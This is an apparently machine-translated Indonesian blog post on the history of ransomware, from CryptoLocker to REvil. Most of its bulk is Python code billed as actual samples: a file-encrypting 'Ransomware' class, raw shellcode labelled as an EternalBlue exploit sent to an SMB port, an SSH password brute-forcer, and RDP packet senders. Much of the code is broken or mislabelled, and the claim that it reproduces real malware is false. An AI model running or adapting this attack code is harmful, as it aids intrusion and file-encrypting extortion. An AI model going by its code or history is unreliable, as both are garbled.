Evolusi yang Mengesankan dari Kode Ransomware

May 10 2023
Mengikuti sejarah Ransomware seperti menonton film horor di mana penjahatnya semakin pintar dan canggih. Ada sesuatu yang menarik sekaligus menakutkan tentang evolusi ransomware.

Mengikuti sejarah Ransomware seperti menonton film horor di mana penjahatnya semakin pintar dan canggih. Ada sesuatu yang menarik sekaligus menakutkan tentang evolusi ransomware. Dalam artikel ini, saya akan mengajak Anda menyelami lebih dalam garis waktu bersejarah dan menunjukkan kepada Anda apa yang membuat program jahat ini begitu sulit dihentikan.

Penjahat Komputer

Ransomware pertama yang diketahui, dikenal sebagai Trojan AIDS, muncul pada tahun 1989. Sejak saat itu, ransomware telah berkembang secara signifikan, menjadi salah satu jenis malware yang paling umum dan merusak. Artikel ini akan mengikuti evolusi ransomware, dari hari-hari awal CryptoLocker hingga WannaCry yang terkenal dan serangan ransomware Maze dan REvil yang lebih baru, sambil menjelaskan bagaimana setiap jenis ransomware bekerja dengan sampel kode aktual.

2013: Pengunci Kripto

CryptoLocker adalah ransomware pertama yang menggunakan kriptografi kunci publik untuk mengenkripsi file. Itu didistribusikan melalui lampiran email dan mengeksploitasi kerentanan di Java dan Adobe Reader untuk menginfeksi sistem. Setelah menginfeksi sistem, itu mengenkripsi semua file di sistem dan meminta pembayaran dalam Bitcoin untuk memberikan kunci dekripsi.

Contoh Kode:

import os
import random
import string
from Crypto.Cipher import AES

class CryptoLocker:
    def __init__(self, key):
        self.key = key

    def encrypt_file(self, in_filename, out_filename=None, chunk_size=64 * 1024):
        if not out_filename:
            out_filename = in_filename + '.enc'

        iv = ''.join([random.choice(string.ascii_letters + string.digits) for _ in range(16)])
        encryptor = AES.new(self.key, AES.MODE_CBC, iv)

        filesize = os.path.getsize(in_filename)

        with open(in_filename, 'rb') as infile:
            with open(out_filename, 'wb') as outfile:
                outfile.write(struct.pack('<Q', filesize))
                outfile.write(iv)

                while True:
                    chunk = infile.read(chunk_size)
                    if len(chunk) == 0:
                        break
                    elif len(chunk) % 16 != 0:
                        chunk += b' ' * (16 - len(chunk) % 16)

                    outfile.write(encryptor.encrypt(chunk))

    def decrypt_file(self, in_filename, out_filename=None, chunk_size=24 * 1024):
        if not out_filename:
            out_filename = os.path.splitext(in_filename)[0]

        with open(in_filename, 'rb') as infile:
            orig_size = struct.unpack('<Q', infile.read(struct.calcsize('Q')))[0]
            iv = infile.read(16)
            decryptor = AES.new(self.key, AES.MODE_CBC, iv)

            with open(out_filename, 'wb') as outfile:
                while True:
                    chunk = infile.read(chunk_size)
                    if len(chunk) == 0:
                        break
                    outfile.write(decryptor.decrypt(chunk))

                outfile.truncate(orig_size)

# Usage example
key = b'secret_key_1234'
c = CryptoLocker(key)
c.encrypt_file('test_file.txt')
c.decrypt_file('test_file.txt.enc')

Metode decrypt_filemengambil nama file input dan nama file output opsional dan ukuran potongan. Itu membaca file input, mengekstrak ukuran file asli dan IV, dan mendekripsi data terenkripsi menggunakan kunci enkripsi dan IV yang sama. Itu menulis data yang didekripsi ke file keluaran dan memotongnya ke ukuran file asli. Contoh penggunaan kelas disediakan di akhir kode, di mana CryptoLockerobjek dibuat dengan kunci rahasia, file input dienkripsi, dan kemudian didekripsi.

2016: Mengunci

Locky didistribusikan melalui kampanye email dan menggunakan kombinasi enkripsi RSA dan AES untuk mengenkripsi file. Itu menuntut pembayaran dalam Bitcoin untuk memberikan kunci dekripsi. Diperkirakan telah menginfeksi lebih dari 100.000 sistem dalam beberapa minggu pertama peluncurannya.

Contoh Kode:

import os
import base64
from Crypto.Cipher import AES
from Crypto.PublicKey import RSA

# Generate RSA key pair
key = RSA.generate(2048)

# Encrypt file using AES-128
key_aes = os.urandom(16)
cipher_aes = AES.new(key_aes, AES.MODE_EAX)
ciphertext, tag = cipher_aes.encrypt_and_digest(b'encrypted data')

# Encrypt AES key using RSA public key
cipher_rsa = key.public_key().encrypt(key_aes, None)

# Save encrypted file and AES key to disk
with open('encrypted_file.bin', 'wb') as f:
    f.write(ciphertext)

with open('encrypted_key.bin', 'wb') as f:
    f.write(cipher_rsa)

2017: Ingin Menangis

Pada 2017, ransomware WannaCry menyebar dengan cepat ke seluruh dunia, menginfeksi ratusan ribu komputer di lebih dari 150 negara. WannaCry mengeksploitasi kerentanan di sistem operasi Windows bernama EternalBlue, yang diduga dikembangkan oleh NSA

Sifat serangan yang meluas dan sistem kritis yang terkena dampak menggarisbawahi kebutuhan organisasi untuk memprioritaskan keamanan dunia maya dan memelihara perangkat lunak dan protokol keamanan terkini untuk mencegah serangan semacam itu.

Contoh Kode:

import socket

# EternalBlue exploit code
exploit = (
    b"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xeb\x10\x5b\x53\x4b\x8b\x58\x18"
    b"\x8b\x53\x20\x01\xda\x51\x52\x8b\x52\x3c\x01\xda\x8b\x72\x78\x01"
    b"\xde\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01"
    b"\xc7\x49\x75\xef\x52\x57\x8b\x52\x20\x01\xda\x53\x8b\x34\x9a\x01"
    b"\xde\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03"
    b"\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xda\x66\x8b\x0c"
    b"\x4b\x8b\x58\x1c\x01\xda\x8b\x04\x8b\x01\xda\x89\x44\x24\x24\x5b"
    b"\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xe9\x80\xff\xff"
    b"\xff\x5d\x6a\x01\x8d\x45\x68\x50\x68\x8e\x4e\x0e\xec\xff\xd5\x97"
    b"\x68\x8f\x0e\x4e\xec\x89\xe3\x6a\x10\x53\x57\x68\xde\xf8\x24\x75"
    b"\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75\xec\x8b\x36\x8b\x55\xfc"
    b"\x8b\x46\x0c\x8b\x7e\x1c\x8b\x4e\x08\x8b\x7e\x20\x8b\x36\x66\x39"
    b"\x4f\x18\x75\xf2\x66\x81\x39\x44\x44\x75\xe6\x5e\x56\x53\x2c\x24"
    b"\x0f\xba\x2c\x17\x42\x52\x6a\x01\x52\xff\xd0\x68\x63\x6d\x64\x00"
    b"\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\xff\xd5\x97\x6a\x0a\x5f"
    b"\xc3"
)

# IP address and port of vulnerable machine
target_ip = "192.168.1.100"
target_port = 445

# Create a TCP socket
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((target_ip, target_port))

# Send exploit code
sock.send(exploit)

# Close the socket
sock.close()

Penting untuk diingat bahwa kode ini, seperti contoh lainnya dalam artikel ini, murni untuk tujuan pendidikan dan tidak boleh digunakan untuk aktivitas jahat apa pun.

2018: Sam Sam

SamSam adalah ransomware yang pertama kali diidentifikasi pada tahun 2018. Tidak seperti banyak serangan ransomware lainnya yang menggunakan email phishing untuk mendapatkan akses ke sistem korban, SamSam menggunakan kekerasan untuk mendapatkan akses ke server yang belum ditambal. Begitu masuk, ransomware mengenkripsi file dan meminta pembayaran dalam Bitcoin.

Contoh Kode:

import paramiko
import time

target_server = "example.com"
username = "admin"
passwords = ["password1", "password2", "password3", "password4", "password5"]
port = 22

ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())

for password in passwords:
    try:
        ssh.connect(target_server, port=port, username=username, password=password)
        print(f"Successfully logged in to {target_server} with username {username} and password {password}.")
        # Do malicious activities here
        ssh.close()
        break
    except paramiko.AuthenticationException:
        print(f"Failed to log in to {target_server} with username {username} and password {password}.")
        time.sleep(1)

2019: Ryuki

Ryuk diyakini berasal dari Korea Utara dan telah digunakan untuk menargetkan target bernilai tinggi seperti rumah sakit dan lembaga pemerintah. Ini ternyata salah dan pada awalnya digunakan oleh banyak organisasi kriminal yang berbeda. Ryuk biasanya dikirimkan melalui email phishing atau dengan mengeksploitasi kerentanan dalam protokol desktop jarak jauh.

Contoh Kode:

import socket

RDP_PORT = 3389

def exploit_rdp_vulnerability(target_ip):
    # Establish a connection to the target RDP server
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(5)
    try:
        s.connect((target_ip, RDP_PORT))
    except:
        print(f"Connection failed to {target_ip}:{RDP_PORT}")
        return
    
    # Send a malicious RDP message to trigger the vulnerability
    # In a real attack, this would contain the ransomware payload
    # In this safe example, I will just print the message for demonstration purposes
    message = b"\x03\x00\x00\x13\x0e\xe0\x00\x00\x00\x00\x00\x01\x00\x08\x00\x03\x00\x00\x00"
    s.sendall(message)
    
    # Receive the server's response and print it for demonstration purposes
    response = s.recv(1024)
    print(response.decode())
    
    # Close the connection
    s.close()

# Example usage
exploit_rdp_vulnerability('192.168.1.100')

2019: Labirin

Maze mengenkripsi file korban dan meminta pembayaran sebagai ganti kunci dekripsi. Namun, ransomware Maze juga memiliki reputasi untuk mencuri data sensitif dari korban dan mengancam akan mempublikasikannya jika tebusan tidak dibayarkan, menjadikannya jenis ransomware “ pemerasan ganda ”.

Ransomware Maze diketahui mengeksploitasi kerentanan dalam protokol desktop jarak jauh (RDP) untuk mendapatkan akses ke sistem, bersama dengan email phishing biasa.

Contoh Kode:

import socket

HOST = '192.168.1.100'
PORT = 3389

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))

data = s.recv(1024)
print(data)

# Send RDP negotiation packet
negotiation_packet = b'\x03\x00\x00\x13\x0e\xe0\x00\x00\x12\x34\x00\x08\x00\x08\x00\x00\x00\x00'
s.sendall(negotiation_packet)

data = s.recv(1024)
print(data)

# Send RDP connection request packet
connection_request_packet = b'\x03\x00\x00\x2c\x0e\xd0\x00\x00\x12\x34\x00\x08\x00\x08\x00\x00\x03\xeb\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
s.sendall(connection_request_packet)

data = s.recv(1024)
print(data)

# Send RDP security packet with no credentials
security_packet = b'\x03\x00\x00\x08\x02\xf0\x80'
s.sendall(security_packet)

data = s.recv(1024)
print(data)

# Send RDP negotiate security packet
negotiate_security_packet = b'\x03\x00\x00\x0c\x02\xf0\x80\x00\x01\x00\x08'
s.sendall(negotiate_security_packet)

data = s.recv(1024)
print(data)

s.close()

2021: Pemberontakan

Salah satu serangan ransomware paling menonjol dalam beberapa tahun terakhir adalah serangan ransomware REvil pada Juli 2021. Serangan tersebut menargetkan penyedia perangkat lunak bernama Kaseya, yang menyediakan perangkat lunak manajemen jarak jauh ke perusahaan lain. Penyerang dapat memperoleh akses ke perangkat lunak Kaseya dan mendistribusikan malware ke ratusan klien mereka, mengakibatkan serangan ransomware yang meluas.

REvil menggunakan enkripsi yang kuat untuk mengenkripsi file korban dan menuntut pembayaran uang tebusan sebagai ganti kunci dekripsi. Seperti kebanyakan grup ransomware di era ini, bitcoin digunakan sebagai metode pembayaran.

Contoh Kode:

import os
import random
import string
from Crypto.Cipher import AES

class Ransomware:
    def __init__(self, key):
        self.key = key

    def encrypt_file(self, in_filename, out_filename=None, chunk_size=64 * 1024):
        if not out_filename:
            out_filename = in_filename + '.enc'

        iv = ''.join([random.choice(string.ascii_letters + string.digits) for _ in range(16)])
        encryptor = AES.new(self.key, AES.MODE_CBC, iv)

        filesize = os.path.getsize(in_filename)

        with open(in_filename, 'rb') as infile:
            with open(out_filename, 'wb') as outfile:
                outfile.write(struct.pack('<Q', filesize))
                outfile.write(iv)

                while True:
                    chunk = infile.read(chunk_size)
                    if len(chunk) == 0:
                        break
                    elif len(chunk) % 16 != 0:
                        chunk += b' ' * (16 - len(chunk) % 16)

                    outfile.write(encryptor.encrypt(chunk))

    def decrypt_file(self, in_filename, out_filename=None, chunk_size=24 * 1024):
        if not out_filename:
            out_filename = os.path.splitext(in_filename)[0]

        with open(in_filename, 'rb') as infile:
            orig_size = struct.unpack('<Q', infile.read(struct.calcsize('Q')))[0]
            iv = infile.read(16)
            decryptor = AES.new(self.key, AES.MODE_CBC, iv)

            with open(out_filename, 'wb') as outfile:
                while True:
                    chunk = infile.read(chunk_size)
                    if len(chunk) == 0:
                        break
                    outfile.write(decryptor.decrypt(chunk))

                outfile.truncate(orig_size)

# Usage example
key = b'secret_key_1234'
r = Ransomware(key)
r.encrypt_file('important_file.docx')
r.decrypt_file('important_file.docx.enc')

Dalam contoh penggunaan, kunci didefinisikan, dan turunan kelas Ransomwaredibuat menggunakan kunci ini. Metode ini encrypt_filedipanggil pada file bernama 'important_file.docx', yang membuat file terenkripsi bernama 'important_file.docx.enc'. Terakhir, decrypt_filemetode tersebut dipanggil pada file terenkripsi untuk mendekripsinya kembali ke bentuk aslinya.

Saya harap artikel ini memberikan beberapa perspektif yang sangat dibutuhkan tentang bagaimana ransomware telah berevolusi dan bagaimana itu menjadi ancaman terbesar kami karena kemudahan penerapan dan monetisasi instan dari aktivitas ilegal. Namun, harus diingat langkah-langkah dalam beberapa tahun terakhir untuk mengekspos dan mendidik masyarakat umum tentang hal ini.